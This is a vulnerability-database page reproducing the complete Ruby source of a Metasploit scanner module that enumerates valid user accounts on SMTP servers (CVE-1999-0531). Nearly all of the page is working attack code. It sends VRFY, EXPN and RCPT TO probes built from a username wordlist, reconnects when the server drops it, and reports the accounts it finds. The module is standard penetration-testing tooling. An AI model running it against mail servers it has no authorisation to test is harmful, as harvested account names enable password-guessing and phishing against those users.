Lucene search
+L

SMTP User Enumeration Utility

🗓️ 21 Jul 2010 15:23:16Reported by Heyder Andrade <[email protected]>, nebulusType 
metasploit
 metasploit
🔗 www.rapid7.com👁 89 Views

SMTP User Enumeration Utilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-1999-0531
1 Jan 199905:00
attackerkb
circl
Circl
CVE-1999-0531
29 May 201815:50
circl
cve
CVE
CVE-1999-0531
4 Feb 200005:00
cve
cvelist
Cvelist
CVE-1999-0531
4 Feb 200005:00
cvelist
nvd
NVD
CVE-1999-0531
1 Jan 199905:00
nvd
packetstorm
Packet Storm
SMTP User Enumeration Utility
1 Sep 202400:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Smtp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  Aliases = [
    'auxiliary/scanner/smtp/enum'
  ]

  def initialize
    super(
      'Name'        => 'SMTP User Enumeration Utility',
      'Description' => %q{
        The SMTP service has two internal commands that allow the enumeration
        of users: VRFY (confirming the names of valid users) and EXPN (which
        reveals the actual address of users aliases and lists of e-mail
        (mailing lists)). Through the implementation of these SMTP commands can
        reveal a list of valid users.
        },
      'References'  =>
      [
        ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],
        ['OSVDB', '12551'],
        ['CVE', '1999-0531']
      ],
        'Author'      =>
      [
        'Heyder Andrade <heyder[at]alligatorteam.org>',
        'nebulus'
      ],
        'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(25),
        OptString.new('USER_FILE',
          [
            true, 'The file that contains a list of probable users accounts.',
            File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
          ]),
        OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])
      ])

    deregister_options('MAILTO','MAILFROM')
  end

  def smtp_send(data=nil)
    begin
      result=''
      code=0
      sock.put("#{data}")
      result=sock.get_once
      result.chomp! if(result)
      code = result[0..2].to_i if result
      return result, code
    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
      return result, code
    rescue ::Exception => e
      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
      return nil, 0
    end
  end

  def run_host(ip)
    users_found = {}
    result = nil # temp for storing result of SMTP request
    code = 0     # status code parsed from result
    vrfy = true  # if vrfy allowed
    expn = true  # if expn allowed
    rcpt = true  # if rcpt allowed and useful
    usernames = extract_words(datastore['USER_FILE'])

    cmd = 'HELO' + " " + "localhost" + "\r\n"
    connect
    result, code = smtp_send(cmd)

    if(not result)
      print_error("#{rhost}:#{rport} Connection but no data...skipping")
      return
    end
    banner.chomp! if (banner)
    if(banner =~ /microsoft/i and datastore['UNIXONLY'])
      print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")
      return
    elsif(banner)
      print_status("#{rhost}:#{rport} Banner: #{banner}")
    end

    domain = result.split()[1]
    domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')


    vprint_status("#{ip}:#{rport} Domain Name: #{domain}")

    result, code = smtp_send("VRFY root\r\n")
    vrfy = (code == 250)
    users_found = do_enum('VRFY', usernames) if (vrfy)

    if(users_found.empty?)
    # VRFY failed, lets try EXPN
      result, code = smtp_send("EXPN root\r\n")
      expn = (code == 250)
      users_found = do_enum('EXPN', usernames) if(expn)
    end

    if(users_found.empty?)
    # EXPN/VRFY failed, drop back to RCPT TO
      result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
      if(code == 250)
        user = Rex::Text.rand_text_alpha(8)
        result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
        if(code >= 250 and code <= 259)
          vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")
          rcpt = false
        else
          smtp_send("RSET\r\n")
          users_found = do_rcpt_enum(domain, usernames)
        end
      else
        rcpt = false
      end
    end

    if(not vrfy and not expn and not rcpt)
      print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")
      return
    end
    finish_host(users_found)
    disconnect

    rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT
    rescue ::Exception => e
      print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")
  end

  def finish_host(users_found)
    if users_found and not users_found.empty?
      print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")
      report_note(
        :host => rhost,
        :port => rport,
        :type => 'smtp.users',
        :data => {:users =>  users_found.join(", ")}
      )
    end
  end

  def kiss_and_make_up(cmd)
    vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")
    disconnect
    connect
    smtp_send("HELO localhost\r\n")
    result, code = smtp_send("#{cmd}")
    result.chomp!
    cmd.chomp!
    vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")
    return result,code
  end

  def do_enum(cmd, usernames)

    users = []
    usernames.each {|user|
      next if user.downcase == 'root'
      result, code = smtp_send("#{cmd} #{user}\r\n")
      vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")
      result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')
      if(code == 250)
        vprint_status("#{rhost}:#{rport} - Found user: #{user}")
        users.push(user)
      end
    }
    return users
  end

  def do_rcpt_enum(domain, usernames)
    users = []
    usernames.each {|user|
      next if user.downcase == 'root'
      vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")
      result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
      result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')

      if(code == 250)
        result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
        if(code == 0 and result.to_s == '')
          kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")
          result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
        end

        if(code == 250)
          vprint_status("#{rhost}:#{rport} - Found user: #{user}")
          users.push(user)
        end
      else
        vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")
        break
      end
      smtp_send("RSET\r\n")
    }
    return users
  end

  def extract_words(wordfile)
    return [] unless wordfile && File.readable?(wordfile)

    begin
      File.readlines(wordfile, chomp: true)
    rescue ::StandardError => e
      elog(e)
      []
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Mar 2022 12:47Current
10High risk
Vulners AI Score10
89